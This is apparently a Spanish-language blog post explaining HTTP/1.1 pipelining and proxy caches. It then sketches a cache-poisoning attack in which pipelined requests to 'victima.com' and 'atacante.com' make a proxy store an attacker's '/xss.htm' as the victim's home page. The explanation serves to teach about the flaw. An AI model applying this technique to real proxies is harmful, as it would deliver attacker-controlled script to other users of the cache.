Implementacion del HTTP 1.1 en Software de Red


Este paper estara explicado con una estructura vulnerable de un proxy cache comercial cuyo nombre no mencionare ya que no es relativo.

Directivas HTTP 1.0 y HTTP 1.1

HTTP/1.0
Esta version de HTTP integra unicamente 3 metodos:

HEAD: Solicitar únicamente Headers HTTP.
GET: Solicitar Headers y el contenido de la web (HTML).
POST: Remite Datos que no se muestran en la URL.

HTTP/1.1

Integra además de los métodos de HTTP 1.0 los siguientes:
OPTIONS
PUT
DELETE
TRACE
CONNECT
SEARCH
entre otros..

Ademas permite concatenar 2 consultas HTTP:

Citar
GET / HTTP/1.1
Host: www.google.com
GET / HTTP/1.1
Host: www.google.com


2 consulas HTTP continuas daran como resultado, 2 respuestas http (a cada una) en la misma respuesta (misma conexion).


Proxy caché: Servidor con memoria que puede almacenar y actualizar las páginas Web más consultadas por los internautas disminuyendo así el tiempo de acceso a dichas páginas, que también son consultables en tiempo diferido disminuyendo de esta manera el tráfico en la red.

Es decir haciendo un diagrama:

Cliente -> gateway/proxy cache y si no tiene los datos -> servidor.
Servidor -> gateway/Proxy cache -> Cliente.

El proxy cache en esta instancia almacena una copia de la pagina solicitada, para consultas futuras a dicha pagina.
Time To Live (TTL): Tiempo de vida se refiere al tiempo en que un dato es valido, es decir algo como en los DNS:

DNS Primario actualiza a -> Server DNS Secundario.

Server DNS secundario almacena los datos del primario y los mantiene en su memoria un tiempo para consultas de clientes, pero cuando pasa el TTL, solicita nuevos datos al primario para estar actualizado en los registros.
Es similar en los proxys cache.

Cliente Solicita el index.htm (GET /index.htm HTTP/1.1) -> Proxy Cache (GET /index.htm HTTP/1.1)-> Servidor.
Servidor envia el index.htm (El HTML)-> Proxy Cache Guarda una copia y la envia (HTML)-> Cliente ya tiene en su navegador el index.htm

Metodología del Envenenamiento:

Cliente Envia 2 consultas HTTP:

Citar
GET / HTTP/1.1
Host: victima.com
GET /xss.htm HTTP/1.1
Host: atacante.com


El Proxy Cache leera toda la consulta pero solo reconocerá 1 como la consultada "/". Conecta a Servidor y envia las 2 consultas como 1 sola.

Citar
GET / HTTP/1.1
Host: victima.com
GET /xss.htm HTTP/1.1
Host: atacante.com


Servidor tiene como virtual host a victima.com y a atacante.com, y reconoce las 2 consultas pero sigue la directiva de HTTP/1.1 y envia los resultados de las 2 consultas HTTP en la misma conexion (Envia los respectivos headers y los respectivos códigos de / y de xss.htm).

Proxy Cache guarda los 2 códigos y el header como si fuera solo la pagina / y envia los 2 codigos al atacante o cliente 1.

Cliente 2, consulta únicamente a / de victima.com:

Citar
GET / HTTP/1.1
Host: victima.com


Proxy cache tiene el archivo en su cache asi que lo envia, pero el registro contiene la pagina solicitada y debajo de ella tiene concatenado el código de xss.htm.

Conclusión: Cache Envenenado!.

0 comentarios: sobre Implementacion del HTTP 1.1 en Software de Red

Publicar un comentario para Implementacion del HTTP 1.1 en Software de Red

:a   :b   :c   :d   :e   :f   :g   :h   :i   :j   :k   :l   :m   :n   :o   :p   :q   :r   :s   :t

Calculando Tiempo
Alienspace Theme © Copyright 2017 By Proxor
Mi Ping en TotalPing.com FeedBurner FeedBurner FeedBurner FeedBurner FeedBurner